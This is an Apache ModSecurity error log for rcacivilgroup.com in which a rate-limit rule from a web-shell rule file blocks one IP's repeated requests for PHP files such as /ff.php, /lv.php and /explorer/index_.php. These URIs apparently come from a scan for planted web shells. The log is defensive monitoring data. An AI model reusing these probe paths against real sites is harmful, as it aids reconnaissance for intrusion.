[Sat May 23 22:15:45.901717 2026] [:error] [pid 44326:tid 44377] [client 20.63.33.98:21859] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "ahG2kcyrPrcAqE-FOKK3SAAAAdY"]
[Sat May 23 22:15:59.787814 2026] [:error] [pid 44325:tid 44341] [client 20.63.33.98:26692] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "ahG2n1gUQb4puB_2yV84wQAAAY0"]
[Sat May 23 22:16:00.675368 2026] [:error] [pid 44326:tid 44365] [client 20.63.33.98:57543] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "ahG2oMyrPrcAqE-FOKK3XwAAAco"]
[Sat May 23 22:16:02.041227 2026] [:error] [pid 31039:tid 31043] [client 20.63.33.98:27849] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "ahG2oqIYDYo8WvA5zLJRtAAAAMI"]
[Sat May 23 22:16:02.999108 2026] [:error] [pid 30940:tid 30949] [client 20.63.33.98:26733] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/atkno.php"] [unique_id "ahG2opqUP2XZmzp7RDoW7gAAAAA"]
[Sat May 23 22:16:03.934602 2026] [:error] [pid 25876:tid 25882] [client 20.63.33.98:27864] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff.php"] [unique_id "ahG2owSpWUCKPezIBJC7dAAAAQQ"]
[Sat May 23 22:16:04.970634 2026] [:error] [pid 44296:tid 44313] [client 20.63.33.98:34031] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff.php"] [unique_id "ahG2pJdrUdFI6ijvMkmdIgAAAU8"]
[Sat May 23 22:16:05.934175 2026] [:error] [pid 44325:tid 44329] [client 20.63.33.98:28210] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff.php"] [unique_id "ahG2pVgUQb4puB_2yV84wgAAAYE"]
[Sat May 23 22:16:06.616143 2026] [:error] [pid 44325:tid 44345] [client 20.63.33.98:26688] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff.php"] [unique_id "ahG2plgUQb4puB_2yV84xAAAAZE"]
[Sat May 23 22:16:07.322692 2026] [:error] [pid 44296:tid 44308] [client 20.63.33.98:57552] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ahG2p5drUdFI6ijvMkmdJgAAAUo"]
[Sat May 23 22:16:08.485441 2026] [:error] [pid 30941:tid 30991] [client 20.63.33.98:57577] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ahG2qHTIgjSDhiZmvlUOpgAAAE8"]
[Sat May 23 22:16:09.291114 2026] [:error] [pid 44296:tid 44312] [client 20.63.33.98:26701] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ahG2qZdrUdFI6ijvMkmdKAAAAU4"]
[Sat May 23 22:16:09.860339 2026] [:error] [pid 31039:tid 31059] [client 20.63.33.98:28190] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ahG2qaIYDYo8WvA5zLJRuAAAANI"]
[Sat May 23 22:16:10.504608 2026] [:error] [pid 31039:tid 31060] [client 20.63.33.98:27865] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ahG2qqIYDYo8WvA5zLJRuQAAANM"]
[Sat May 23 22:16:11.362420 2026] [:error] [pid 31039:tid 31065] [client 20.63.33.98:57544] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ahG2q6IYDYo8WvA5zLJRugAAANg"]
[Sat May 23 22:16:11.964253 2026] [:error] [pid 44325:tid 44330] [client 20.63.33.98:28213] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ahG2q1gUQb4puB_2yV84yAAAAYI"]
[Sat May 23 22:16:13.165199 2026] [:error] [pid 44326:tid 44367] [client 20.63.33.98:14856] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/png.php"] [unique_id "ahG2rcyrPrcAqE-FOKK3agAAAcw"]
[Sat May 23 22:16:14.718119 2026] [:error] [pid 44325:tid 44328] [client 20.63.33.98:1026] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "ahG2rlgUQb4puB_2yV84zwAAAYA"]
[Sat May 23 22:16:17.563780 2026] [:error] [pid 44325:tid 44345] [client 20.63.33.98:6953] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "ahG2sVgUQb4puB_2yV840QAAAZE"]
[Sat May 23 22:16:20.432788 2026] [:error] [pid 44325:tid 44333] [client 20.63.33.98:26354] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "ahG2tFgUQb4puB_2yV842gAAAYU"]
[Sat May 23 22:16:23.273881 2026] [:error] [pid 30941:tid 30984] [client 20.63.33.98:23982] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "ahG2t3TIgjSDhiZmvlUOxgAAAEg"]
[Sat May 23 22:16:25.998395 2026] [:error] [pid 44325:tid 44336] [client 20.63.33.98:35079] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ahG2uVgUQb4puB_2yV845QAAAYg"]
[Sat May 23 22:16:27.096783 2026] [:error] [pid 44325:tid 44351] [client 20.63.33.98:24024] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ahG2u1gUQb4puB_2yV847AAAAZc"]
[Sat May 23 22:16:29.393457 2026] [:error] [pid 44296:tid 44302] [client 20.63.33.98:32195] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ahG2vZdrUdFI6ijvMkmdMgAAAUQ"]
[Sat May 23 22:16:30.893442 2026] [:error] [pid 44296:tid 44321] [client 20.63.33.98:35082] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ah25.php"] [unique_id "ahG2vpdrUdFI6ijvMkmdOQAAAVc"]
[Sat May 23 22:16:32.054915 2026] [:error] [pid 25876:tid 25900] [client 20.63.33.98:57578] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "ahG2wASpWUCKPezIBJC7fwAAARY"]
[Sat May 23 22:16:32.897393 2026] [:error] [pid 30940:tid 30962] [client 20.63.33.98:35124] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "ahG2wJqUP2XZmzp7RDoW-QAAAA0"]
[Sat May 23 22:16:33.901886 2026] [:error] [pid 44296:tid 44322] [client 20.63.33.98:57566] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "ahG2wZdrUdFI6ijvMkmdPwAAAVg"]
[Sat May 23 22:16:35.428466 2026] [:error] [pid 44296:tid 44312] [client 20.63.33.98:57554] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/forbidals.php"] [unique_id "ahG2w5drUdFI6ijvMkmdQgAAAU4"]
[Sat May 23 22:16:36.076950 2026] [:error] [pid 30942:tid 31021] [client 20.63.33.98:21107] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ahG2xNUosz64YFiBlG2AgAAAAJI"]
[Sat May 23 22:16:36.919153 2026] [:error] [pid 44296:tid 44301] [client 20.63.33.98:32221] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ahG2xJdrUdFI6ijvMkmdRAAAAUM"]
[Sat May 23 22:16:38.572776 2026] [:error] [pid 44326:tid 44360] [client 20.63.33.98:21070] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ahG2xsyrPrcAqE-FOKK3dgAAAcU"]
[Sat May 23 22:16:41.995665 2026] [:error] [pid 30940:tid 30973] [client 20.63.33.98:21095] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ahG2yZqUP2XZmzp7RDoXAAAAABg"]
[Sat May 23 22:16:45.750688 2026] [:error] [pid 44326:tid 44360] [client 20.63.33.98:27368] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/explorer/index_.php"] [unique_id "ahG2zcyrPrcAqE-FOKK3gQAAAcU"]
[Sat May 23 22:16:47.182377 2026] [:error] [pid 25876:tid 25894] [client 20.63.33.98:13376] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/explorer/index_.php"] [unique_id "ahG2zwSpWUCKPezIBJC7jwAAARA"]
[Sat May 23 22:16:48.748343 2026] [:error] [pid 44326:tid 44355] [client 20.63.33.98:27363] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/explorer/index_.php"] [unique_id "ahG20MyrPrcAqE-FOKK3iAAAAcA"]
[Sat May 23 22:16:49.590898 2026] [:error] [pid 44326:tid 44368] [client 20.63.33.98:8180] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/explorer/index_.php"] [unique_id "ahG20cyrPrcAqE-FOKK3iwAAAc0"]
[Sat May 23 22:16:52.295302 2026] [:error] [pid 25876:tid 25901] [client 20.63.33.98:8133] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahG21ASpWUCKPezIBJC7lAAAARc"]
[Sat May 23 22:16:53.578941 2026] [:error] [pid 44326:tid 44376] [client 20.63.33.98:11044] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahG21cyrPrcAqE-FOKK3kwAAAdU"]
[Sat May 23 22:16:54.957452 2026] [:error] [pid 44325:tid 44346] [client 20.63.33.98:1799] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahG21lgUQb4puB_2yV85AwAAAZI"]
[Sat May 23 22:16:55.672875 2026] [:error] [pid 30941:tid 30992] [client 20.63.33.98:35003] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahG213TIgjSDhiZmvlUO-AAAAFA"]
[Sat May 23 22:16:56.591132 2026] [:error] [pid 30941:tid 30982] [client 20.63.33.98:25187] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "ahG22HTIgjSDhiZmvlUO-gAAAEY"]
[Sat May 23 22:17:11.294050 2026] [:error] [pid 44326:tid 44356] [client 20.63.33.98:11064] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i.php"] [unique_id "ahG258yrPrcAqE-FOKK3xQAAAcE"]
[Sat May 23 22:17:12.443536 2026] [:error] [pid 44326:tid 44365] [client 20.63.33.98:19217] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i.php"] [unique_id "ahG26MyrPrcAqE-FOKK3xwAAAco"]
[Sat May 23 22:17:13.771526 2026] [:error] [pid 44326:tid 44373] [client 20.63.33.98:12162] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i.php"] [unique_id "ahG26cyrPrcAqE-FOKK3yQAAAdI"]
[Sat May 23 22:17:16.007891 2026] [:error] [pid 31039:tid 31045] [client 20.63.33.98:47413] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/i.php"] [unique_id "ahG27KIYDYo8WvA5zLJR1gAAAMQ"]
[Sat May 23 22:17:18.121380 2026] [:error] [pid 44296:tid 44319] [client 20.63.33.98:13402] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahG27pdrUdFI6ijvMkmdZgAAAVU"]
[Sat May 23 22:17:22.669366 2026] [:error] [pid 44296:tid 44303] [client 20.63.33.98:25173] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahG28pdrUdFI6ijvMkmddQAAAUU"]
[Sat May 23 22:17:26.164372 2026] [:error] [pid 30941:tid 30992] [client 20.63.33.98:8135] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahG29nTIgjSDhiZmvlUPMwAAAFA"]
[Sat May 23 22:17:27.804204 2026] [:error] [pid 30940:tid 30949] [client 20.63.33.98:8167] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahG295qUP2XZmzp7RDoXDwAAAAA"]
[Sat May 23 22:17:29.062757 2026] [:error] [pid 25876:tid 25893] [client 20.63.33.98:34950] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ahG2-QSpWUCKPezIBJC7pQAAAQ8"]
[Sat May 23 22:17:30.778860 2026] [:error] [pid 44326:tid 44372] [client 20.63.33.98:22548] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ahG2-syrPrcAqE-FOKK32QAAAdE"]
[Sat May 23 22:17:31.683340 2026] [:error] [pid 44326:tid 44377] [client 20.63.33.98:25157] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ahG2-8yrPrcAqE-FOKK33AAAAdY"]
[Sat May 23 22:17:32.995173 2026] [:error] [pid 44326:tid 44373] [client 20.63.33.98:8188] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/la.php"] [unique_id "ahG2_MyrPrcAqE-FOKK34QAAAdI"]
[Sat May 23 22:17:33.950451 2026] [:error] [pid 25876:tid 25895] [client 20.63.33.98:27367] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reze.php"] [unique_id "ahG2_QSpWUCKPezIBJC7rAAAARE"]
[Sat May 23 22:17:35.747811 2026] [:error] [pid 31039:tid 31055] [client 20.63.33.98:1840] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reze.php"] [unique_id "ahG2_6IYDYo8WvA5zLJR4QAAAM4"]
